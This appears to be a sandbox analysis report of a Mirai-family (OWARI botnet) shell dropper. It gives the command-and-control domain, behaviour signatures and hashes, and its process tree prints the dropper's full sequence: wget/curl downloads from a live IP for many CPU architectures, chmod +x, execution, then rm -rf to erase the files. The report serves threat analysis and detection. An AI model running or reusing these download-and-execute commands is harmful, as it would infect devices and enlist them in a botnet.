Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    19/05/2026, 02:13

General

  • Target
    ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
  • Size 1KB
  • Sample260519-cnpcgae18w
  • SHA256 ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

Extracted

Family
  • mirai

Botnet
  • OWARI

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
    /tmp/ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
    1⤵
    • Executes dropped EXE
    PID:1485
    • /usr/bin/wget
      wget http://87.121.79.193/upperarm
      2⤵
      • Writes file to tmp directory
      PID:1486
    • /usr/bin/curl
      curl -O http://87.121.79.193/upperarm
      2⤵
      • Writes file to tmp directory
      PID:1491
    • /bin/chmod
      chmod +x upperarm
      2⤵
      • File and Directory Permissions Modification
      PID:1495
    • /tmp/upperarm
      ./upperarm cpanel
      2⤵
        PID:1496
      • /bin/rm
        rm -rf upperarm
        2⤵
          PID:1498
        • /bin/rm
          rm -rf "upperarm.*"
          2⤵
            PID:1499
          • /usr/bin/wget
            wget http://87.121.79.193/upperarm5
            2⤵
            • Writes file to tmp directory
            PID:1500
          • /usr/bin/curl
            curl -O http://87.121.79.193/upperarm5
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /bin/chmod
            chmod +x upperarm5
            2⤵
            • File and Directory Permissions Modification
            PID:1503
          • /tmp/upperarm5
            ./upperarm5 cpanel
            2⤵
              PID:1504
            • /bin/rm
              rm -rf upperarm5
              2⤵
                PID:1506
              • /bin/rm
                rm -rf "upperarm5.*"
                2⤵
                  PID:1507
                • /usr/bin/wget
                  wget http://87.121.79.193/upperarm6
                  2⤵
                  • Writes file to tmp directory
                  PID:1508
                • /usr/bin/curl
                  curl -O http://87.121.79.193/upperarm6
                  2⤵
                  • Writes file to tmp directory
                  PID:1509
                • /bin/chmod
                  chmod +x upperarm6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1510
                • /tmp/upperarm6
                  ./upperarm6 cpanel
                  2⤵
                    PID:1511
                  • /bin/rm
                    rm -rf upperarm6
                    2⤵
                      PID:1513
                    • /bin/rm
                      rm -rf "upperarm6.*"
                      2⤵
                        PID:1514
                      • /usr/bin/wget
                        wget http://87.121.79.193/upperarm7
                        2⤵
                        • Writes file to tmp directory
                        PID:1515
                      • /usr/bin/curl
                        curl -O http://87.121.79.193/upperarm7
                        2⤵
                        • Writes file to tmp directory
                        PID:1516
                      • /bin/chmod
                        chmod +x upperarm7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1517
                      • /tmp/upperarm7
                        ./upperarm7 cpanel
                        2⤵
                          PID:1518
                        • /bin/rm
                          rm -rf upperarm7
                          2⤵
                            PID:1520
                          • /bin/rm
                            rm -rf "upperarm7.*"
                            2⤵
                              PID:1521
                            • /usr/bin/wget
                              wget http://87.121.79.193/upperm68k
                              2⤵
                              • Writes file to tmp directory
                              PID:1522
                            • /usr/bin/curl
                              curl -O http://87.121.79.193/upperm68k
                              2⤵
                              • Writes file to tmp directory
                              PID:1523
                            • /bin/chmod
                              chmod +x upperm68k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1524
                            • /tmp/upperm68k
                              ./upperm68k cpanel
                              2⤵
                                PID:1525
                              • /bin/rm
                                rm -rf upperm68k
                                2⤵
                                  PID:1527
                                • /bin/rm
                                  rm -rf "upperm68k.*"
                                  2⤵
                                    PID:1528
                                  • /usr/bin/wget
                                    wget http://87.121.79.193/uppermips
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:1529
                                  • /usr/bin/curl
                                    curl -O http://87.121.79.193/uppermips
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:1530
                                  • /bin/chmod
                                    chmod +x uppermips
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1531
                                  • /tmp/uppermips
                                    ./uppermips cpanel
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:1532
                                  • /bin/rm
                                    rm -rf uppermips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:1534
                                  • /bin/rm
                                    rm -rf "uppermips.*"
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:1535
                                  • /usr/bin/wget
                                    wget http://87.121.79.193/uppermpsl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1536
                                  • /usr/bin/curl
                                    curl -O http://87.121.79.193/uppermpsl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1537
                                  • /bin/chmod
                                    chmod +x uppermpsl
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1538
                                  • /tmp/uppermpsl
                                    ./uppermpsl cpanel
                                    2⤵
                                      PID:1539
                                    • /bin/rm
                                      rm -rf uppermpsl
                                      2⤵
                                        PID:1541
                                      • /bin/rm
                                        rm -rf "uppermpsl.*"
                                        2⤵
                                          PID:1542
                                        • /usr/bin/wget
                                          wget http://87.121.79.193/upperppc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1543
                                        • /usr/bin/curl
                                          curl -O http://87.121.79.193/upperppc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1544
                                        • /bin/chmod
                                          chmod +x upperppc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1545
                                        • /tmp/upperppc
                                          ./upperppc cpanel
                                          2⤵
                                            PID:1546
                                          • /bin/rm
                                            rm -rf upperppc
                                            2⤵
                                              PID:1548
                                            • /bin/rm
                                              rm -rf "upperppc.*"
                                              2⤵
                                                PID:1549
                                              • /usr/bin/wget
                                                wget http://87.121.79.193/uppersh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1550
                                              • /usr/bin/curl
                                                curl -O http://87.121.79.193/uppersh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1551
                                              • /bin/chmod
                                                chmod +x uppersh4
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1552
                                              • /tmp/uppersh4
                                                ./uppersh4 cpanel
                                                2⤵
                                                  PID:1553
                                                • /bin/rm
                                                  rm -rf uppersh4
                                                  2⤵
                                                    PID:1555
                                                  • /bin/rm
                                                    rm -rf "uppersh4.*"
                                                    2⤵
                                                      PID:1556
                                                    • /usr/bin/wget
                                                      wget http://87.121.79.193/upperspc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1557
                                                    • /usr/bin/curl
                                                      curl -O http://87.121.79.193/upperspc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1558
                                                    • /bin/chmod
                                                      chmod +x upperspc
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1559
                                                    • /tmp/upperspc
                                                      ./upperspc cpanel
                                                      2⤵
                                                        PID:1560
                                                      • /bin/rm
                                                        rm -rf upperspc
                                                        2⤵
                                                          PID:1562
                                                        • /bin/rm
                                                          rm -rf "upperspc.*"
                                                          2⤵
                                                            PID:1563
                                                          • /usr/bin/wget
                                                            wget http://87.121.79.193/upperx64
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1564
                                                          • /usr/bin/curl
                                                            curl -O http://87.121.79.193/upperx64
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1565
                                                          • /bin/chmod
                                                            chmod +x upperx64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1566
                                                          • /tmp/upperx64
                                                            ./upperx64 cpanel
                                                            2⤵
                                                            • Modifies Watchdog functionality
                                                            • Enumerates active TCP sockets
                                                            • Changes its process name
                                                            • Reads system network configuration
                                                            • Reads runtime system information
                                                            PID:1567
                                                          • /bin/rm
                                                            rm -rf upperx64
                                                            2⤵
                                                              PID:1571
                                                            • /bin/rm
                                                              rm -rf "upperx64.*"
                                                              2⤵
                                                                PID:1574
                                                              • /usr/bin/wget
                                                                wget http://87.121.79.193/upperx86
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1575
                                                              • /usr/bin/curl
                                                                curl -O http://87.121.79.193/upperx86
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1576
                                                              • /bin/chmod
                                                                chmod +x upperx86
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1577
                                                              • /tmp/upperx86
                                                                ./upperx86 cpanel
                                                                2⤵
                                                                • Modifies Watchdog functionality
                                                                • Enumerates active TCP sockets
                                                                • Changes its process name
                                                                • Reads system network configuration
                                                                • Reads runtime system information
                                                                PID:1578
                                                              • /bin/rm
                                                                rm -rf upperx86
                                                                2⤵
                                                                  PID:1582
                                                                • /bin/rm
                                                                  rm -rf "upperx86.*"
                                                                  2⤵
                                                                    PID:1585

                                                                Network

                                                                      MITRE ATT&CK Enterprise v16

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      upperarm

                                                                      • Path /tmp/upperarm
                                                                      • Size 43KB
                                                                      • SHA256 3f15e1aa24c954d90a3d1be083796fdb4d2ec97747bd7f1443f568c7cd0a9569
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperarm5

                                                                      • Path /tmp/upperarm5
                                                                      • Size 36KB
                                                                      • SHA256 f869e1756e74e7d8f86424ddc1bb1bc2af4deec739376c43149963dcd620437d
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperarm6

                                                                      • Path /tmp/upperarm6
                                                                      • Size 53KB
                                                                      • SHA256 1a59b44271e873fbbbe7b142c598723725f3838aeb31ad2389f31eef6a5315fa
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperarm7

                                                                      • Path /tmp/upperarm7
                                                                      • Size 111KB
                                                                      • SHA256 be27d319f75643466bcfdbbfbd522616cd38771102dcd7af6bfe7a1b088228c6
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperm68k

                                                                      • Path /tmp/upperm68k
                                                                      • Size 42KB
                                                                      • SHA256 7cd1d037e07aae06ee395005504aaefa652d463ab3751609903f3a71aef8e7be
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      uppermips

                                                                      • Path /tmp/uppermips
                                                                      • Size 55KB
                                                                      • SHA256 cbbe7ef922e2127c492e4a0fcf56e198e330c964512c92bdd34ece7e08a6d2ce
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      uppermpsl

                                                                      • Path /tmp/uppermpsl
                                                                      • Size 57KB
                                                                      • SHA256 8c1a4551875c3178da248817353976b68d44174ecb9e73d9ded7c365bb2f6bfc
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperppc

                                                                      • Path /tmp/upperppc
                                                                      • Size 40KB
                                                                      • SHA256 6bc133276ca529863571f49aeea200ea88720827afd2c99450278473cc467c6e
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      uppersh4

                                                                      • Path /tmp/uppersh4
                                                                      • Size 38KB
                                                                      • SHA256 82b2d959f05dff769caf3609d40624c268940ea47181dcbc0ef1fe9e09f06dd2
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperspc

                                                                      • Path /tmp/upperspc
                                                                      • Size 45KB
                                                                      • SHA256 e5428a65be4c6471ee1d6de70cce489fa5319b7310a21ab8a3d9b8f3e44e7759
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperx64

                                                                      • Path /tmp/upperx64
                                                                      • Size 41KB
                                                                      • SHA256 382532451215dd8a3c5fa070ced106e02f3eceb33bb4ff20c1c3c1d800ed587a
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperx86

                                                                      • Path /tmp/upperx86
                                                                      • Size 38KB
                                                                      • SHA256 627cc90fa904cce1ef93c46100d9eefe326674263a4aeb95ceb61f3be5788c9d
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH